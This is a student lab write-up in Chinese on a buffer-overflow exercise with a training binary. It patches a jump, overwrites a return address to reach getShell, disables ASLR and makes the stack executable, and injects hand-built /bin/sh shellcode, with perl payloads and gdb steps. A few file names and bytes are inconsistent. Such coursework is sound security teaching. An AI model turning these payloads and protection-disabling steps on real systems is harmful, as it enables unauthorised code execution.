Exp1 PC平台逆向破解
一、实验内容
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3、注入一个自己制作的shellcode并运行这段shellcode。
二、实验目的
1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
1)NOP:0x90
2)JNE:0x75
3)JE:0x74
4)Jump:
Short Jump(短跳转):0xEB
Near Jump(长跳转):0xE9
Far Jump(远跳转):0xEA
2、掌握反汇编与十六进制编程器
1)反汇编指令 objdump -d (文件名)| more
objdump -d : 将代码段反汇编
-d 英文是disassembling,意为反汇编
| 管道符,命令A|命令B,即命令A的正确输出作为命令B的操作对象
more使文件以一页一页的形式显示
2)十六进制编辑器
进入vim编辑器后按esc再输入 %!xxd 将原文件以16进制输出
编辑完成后按esc再输入 %!xxd -r 将转换为原格式
3、能正确修改机器指令改变程序执行流程
4、能正确构造payload进行bof攻击
三、实验步骤
(一)、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1、复制pwn1文件名为20175127pwn
2、反汇编20175127pwn文件,输入指令 objdump -d 20175127pwn | more
3、输入指令 /getShell 查找到getShell函数代码段
4、可以看见主函数main,foo函数和getShell函数,而主函数中有e8 d7ffffff这段代码,e8为跳转,80484ba+ffffffd7=8048491说明此时调用了foo函数
5、getShell函数地址为804847d,而804847d-80484ba的补码为ffffffc3,所以我们只需将d7改为c3即可。
6、使用指令 vi 20175127pwn 进入vim编辑器编辑20175127pwn文件
7、输入指令 :%!xxd 将乱码变为十六进制数据显示
8、再输入指令 /e8 d7 查找到e8 d7数据段
9、按i进入编辑模式修改d7为c3
10、按Esc退出编辑模式输入指令 :%!xxd -r 将文件变回原格式
11、输入指令 :wq 保存并退出编辑器
12、验证结果,如下图修改成功
(二)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1、先备份原文件
2、没有安装调试功能gdb,输入指令 apt-get install gdb 安装
3、输入指令 gdb 20175127pwn 开始调试
4、输入r准备输入内容
5、由于不知道栈的大小先输入50字节内容,发现报错地址34343434无法识别,4的ascll码值为34,说明在输入字符串中到4的时候溢出了
6、但是还不能确定是哪一个4开始溢出的于是再次输入字符串,将4的部分改为123456789,再次发现报错地址36353433无法识别,即3456,说明从第33位开始为地址
7、那么在构造字符串时降低至放到第33-36位即可,由上个实验知道getShell函数地址为0x0804847d,所以将最后四位构造为\xd7\x84\x04\x08
8、借助Perl语言将字符串 11111111112222222222333333333344\x7d\x84\x04\x08\x0a 定向输入到input文件
9、输入指令 (cat input; cat) | ./20175113pwn 将字符串输入到205127pwn程序中
10、验证结果成功
(三)注入一个自己制作的shellcode并运行这段shellcode。
1、先安装可以使用设置堆栈的命令,备份原文件20175127pwn1
execstack -s 20175113pwn //设置堆栈可执行
execstack -q 20175113pwn //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
2、构造payload,结构为:anything+retaddr+nops+shellcode。命令为 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
3、输入指令 (cat input_shellcode;cat) | ./20175127pwn1 运行程序
4、另开一个终端输入指令 ps -ef | grep 20175127pwn1 查看程序进程
5、输入 gdb 进行调试,再输入 attach 2463 调试2463这个进程
6、输入 disassemble foo 对foo函数反汇编
7、输入 break *0x080484ae 设置断点
8、回到终端1手动回车,再回到终端2输入指令c
9、在输入指令 info r esp 查看栈顶指针所在位置
10、输入指令 x/16x 0xffffd6cc 查看地址存放的数据
11、观察到\x4\x3\x2\x1出现栈顶,即返回地址的位置,shellcode地址即为 0xffffd6cc+4=0xffffd6d0
12、修改注入文本加入地址
perl -e 'print "A" x 32;print "\xd0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
13、输入指令 (cat input_shellcode;cat) | ./20175113pwn1 将文本注入程序
14、实验结果,注入成功
四、实验心得
实验内容上有老师指导视频,在完成上没有太大的难度,主要是学习到了一些汇编指令,perl语言等,同时也习惯了linux的命令行操作模式,这也是我第一次接触linux操作系统,不太习惯端口操作方式,在安装linux时也遇到过许多困难,通过自己百度查询一一解决了安装时的问题,通过本次实验,让我深刻明白到系统漏洞会给我们带来多大的危害,同时也希望在接下来的实验中学到更多的知识。
什么是漏洞?漏洞有什么危害?(用自己的话来描述)
答:漏洞是指系统中存在的在代码上逻辑的不严谨而给不法分子有机可乘的后门。漏洞会严重危害系统的安全,比如数据泄露,系统崩溃,被监听、控制等等。